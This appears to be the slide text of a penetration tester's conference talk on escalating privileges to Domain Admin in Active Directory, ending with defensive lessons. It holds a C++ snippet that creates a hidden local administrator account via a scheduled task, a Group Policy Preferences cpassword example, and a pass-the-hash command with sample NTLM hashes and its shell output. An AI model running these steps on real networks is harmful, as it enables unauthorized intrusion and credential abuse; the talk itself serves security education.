All roads lead to Domain Admin

Adéla Haníková
Whoami

• Mathematician – mathematical methods of information security
• Penetration tester at AEC a.s.
• Not a domain admin
Basic concepts

• AD – Active Directory
• DC – Domain Controller
• DA – Domain Admin
• LA – Local Admin
• Hash
Two ways

• Indirect process
  - Domain user → local administrator → domain administrator

• Direct success
LA – local escalation

- Unencrypted computer with Windows 7

Windows Error Recovery

Windows failed to start. A recent hardware or software change might be the cause.

If Windows files have been damaged or configured incorrectly, Startup Repair can help diagnose and fix the problem. If power was interrupted during startup, choose Start Windows Normally.
(Use the arrow keys to highlight your choice.)

Launch Startup Repair (recommended)

Start Windows Normally

Description: Fix problems that are preventing Windows from starting
LA – local escalation

Unencrypted computer with Windows 7
LA – local escalation

• Scheduled tasks
LA – local escalation

- Scheduled tasks

```
#include <iostream>
#include <cstdlib>
#include <windows.h>

using namespace std;

int main() {
    system("net user aecpt Heplo1234 /add");
    Sleep(3000);
    system("net localgroup administrators aecpt /add");
    return 0;
}
```
LA – escalation

- SYSVOL & Group Policy Preferences

```xml
<User clsid="{DF5FD4FC5E6D24D26}"
  name="Administrator" (předdefinované)
  image="2"
  changed="2012-04-11 10:57:01"
  uid="{10A9C415-DF8F-11DE-6423-252DB0AAA91}"
  userContext="0"
  removePolicy="0"
  <Properties
    action="U"
    newName=""
    fullName="Lokální admin"
    description="střoj"
    cpPassword="pxicNC22c1tu1haba4ytUuDrafYBw6tdzqTq"
    changeLogon="0"
    noChange="0"
    neverExpires="1"
    acctDisabled="0"
    subAuthority="0"
    ADMIN"
  userName="Administrator (předdefinované)"/>
</User>
```
LA – escalation

- SYSVOL & Group Policy Preferences
- MS14-025
LA – escalation

- Passwords in plaintext on SMB shares
- *.bat; *.cmd; *.vbs; *.ps1; ...
What’s next?

- Extract hashes (passwords)
What’s next?

• Extract hashes (passwords)
• Pass the hash

```
root@kali:~# pth-winexe -U Administrator%d7a2630a9ecc4aff186fc03070888283:480d1d426fe52721b915e7870c9e1a8f //192.168.52.151 cmd.exe
E md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
E md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>]
```
Direct methods

- Already seen
  - Password of domain admin in plaintext on share
  - SYSVOL & Group Policy Preferences
Exploitation of a server

• HP Data Protector – port 5555
Exploitation of a server

- HP Data Protector - port 5555
Weak password

- Cracking Net-NTLMv2
Weaker password

- Default password for new accounts
The weakest password

• Bruteforce
Lessons learned

- Educate your employees (even DA)
- Be aware of history
- Script kiddies can hack your network
Thanks for your attention.